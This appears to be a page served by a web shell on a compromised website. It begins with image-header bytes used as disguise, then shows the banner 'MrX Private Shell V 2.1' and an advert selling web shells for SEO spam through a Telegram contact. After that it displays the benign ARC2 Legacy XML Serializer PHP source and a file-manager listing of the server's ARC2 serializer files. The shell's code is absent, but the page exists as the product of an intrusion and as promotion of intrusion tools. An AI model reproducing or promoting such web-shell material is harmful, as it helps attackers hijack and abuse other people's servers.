����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
homepage: http://arc.semsol.org/
license: http://arc.semsol.org/license
class: ARC2 Legacy XML Serializer
author: Benjamin Nowack
version: 2010-11-16
*/
ARC2::inc('Class');
class ARC2_LegacyXMLSerializer extends ARC2_Class {
function __construct($a, &$caller) {
parent::__construct($a, $caller);
}
function __init() {
parent::__init();
$this->content_header = 'text/xml';
}
/* */
function getSerializedArray($struct, $root = 1, $ind = ' ') {
$n = "\n";
$r = '';
$is_flat = $this->isAssociativeArray($struct) ? 0 : 1;
foreach ($struct as $k => $v) {
$tag = $is_flat ? 'item' : preg_replace('/[\s]/s', '_', $k);
$tag = preg_replace('/^.*([a-z0-9\-\_]+)$/Uis', '\\1', $tag);
$r .= $n . $ind . '<' . $tag . '>' . (is_array($v) ? $this->getSerializedArray($v, 0, $ind . ' ') . $n . $ind : htmlspecialchars($v)) . '</' . $tag . '>';
}
if ($root) $r = $this->getHead() . $r . $this->getFooter();
return $r;
}
/* */
function getHead() {
$n = "\n";
$r = '<?xml version="1.0"?>';
$r .= $n . '<items>';
return $r;
}
function getFooter() {
$n = "\n";
$r = $n . '</items>';
return $r;
}
/* */
function isAssociativeArray($v) {
foreach (array_keys($v) as $k => $val) {
if ($k !== $val) return 1;
}
return 0;
}
/* */
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ARC2_LegacyHTMLSerializer.php | File | 2.84 KB | 0604 |
|
| ARC2_LegacyJSONSerializer.php | File | 1.33 KB | 0604 |
|
| ARC2_LegacyXMLSerializer.php | File | 1.36 KB | 0604 |
|
| ARC2_MicroRDFSerializer.php | File | 4.23 KB | 0604 |
|
| ARC2_NTriplesSerializer.php | File | 6.78 KB | 0604 |
|
| ARC2_POSHRDFSerializer.php | File | 2.57 KB | 0604 |
|
| ARC2_RDFJSONSerializer.php | File | 2.61 KB | 0604 |
|
| ARC2_RDFSerializer.php | File | 1.19 KB | 0604 |
|
| ARC2_RDFXMLSerializer.php | File | 5.87 KB | 0604 |
|
| ARC2_RSS10Serializer.php | File | 589 B | 0604 |
|
| ARC2_TurtleSerializer.php | File | 3.4 KB | 0604 |
|